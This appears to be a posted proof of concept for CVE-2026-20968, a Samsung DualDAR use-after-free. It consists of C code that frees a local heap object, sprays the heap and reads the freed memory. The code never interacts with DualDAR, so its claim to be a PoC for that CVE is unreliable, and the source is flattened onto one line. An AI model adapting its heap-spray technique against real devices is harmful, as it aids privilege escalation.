CVE-2026-20968: Samsung DualDAR Use After Free权限提升漏洞

// CVE-2026-20968 PoC - Use After Free in Samsung DualDAR // This is a conceptual PoC for demonstrating the vulnerability // Note: Actual exploitation requires specific device configuration and privilege level #include <stdio.h> #include <stdlib.h> #include <string.h> /* * Samsung DualDAR Use After Free Vulnerability * * Vulnerability: DualDAR component fails to properly validate memory * after it has been freed, allowing re-use of freed memory. * * Attack Vector: Local privileged access required * Impact: Arbitrary code execution with elevated privileges * * Note: This PoC is for educational purposes only. * Actual exploitation requires device-specific knowledge. */ #define DUALDAR_OBJECT_SIZE 0x100 #define HEAP_SPRAY_COUNT 100 typedef struct { void* vtable; char data[DUALDAR_OBJECT_SIZE]; } DualDARObject; typedef void (*CallbackFunc)(void*); void trigger_vulnerability() { // Allocate initial DualDAR object DualDARObject* obj = (DualDARObject*)malloc(sizeof(DualDARObject)); if (!obj) { printf("[-] Memory allocation failed\n"); return; } memset(obj->data, 0x41, DUALDAR_OBJECT_SIZE); printf("[+] Allocated DualDAR object at %p\n", obj); // Free the object - vulnerability trigger point free(obj); printf("[!] Object freed - UAF condition exists\n"); // Heap spraying to control freed memory for (int i = 0; i < HEAP_SPRAY_COUNT; i++) { void* spray = malloc(sizeof(CallbackFunc)); if (spray) { // Overwrite with controlled values memset(spray, 0x42, sizeof(CallbackFunc)); } } printf("[+] Heap spray completed\n"); // Use after free - access freed memory // In real exploit, this would trigger code execution printf("[!] Accessing freed object at %p\n", obj); printf("[+] Data at freed location: %02x %02x %02x...\n", obj->data[0], obj->data[1], obj->data[2]); // At this point, if exploitation is successful: // - vtable pointer could be controlled // - arbitrary code execution could be achieved printf("[+] UAF vulnerability demonstrated\n"); } int main() { printf("===========================================\n"); printf("CVE-2026-20968 PoC - Samsung DualDAR UAF\n"); printf("===========================================\n"); printf("Target: Samsung DualDAR < SMR Jan-2026 Release 1\n"); printf("Severity: Medium (CVSS 6.7)\n"); printf("===========================================\n\n"); trigger_vulnerability(); printf("\n[!] Note: This is a simplified demonstration.\n"); printf("[!] Real exploitation requires:\n"); printf("[!] - Local privileged access\n"); printf("[!] - Device-specific memory layout knowledge\n"); printf("[!] - Specific trigger conditions\n"); return 0; }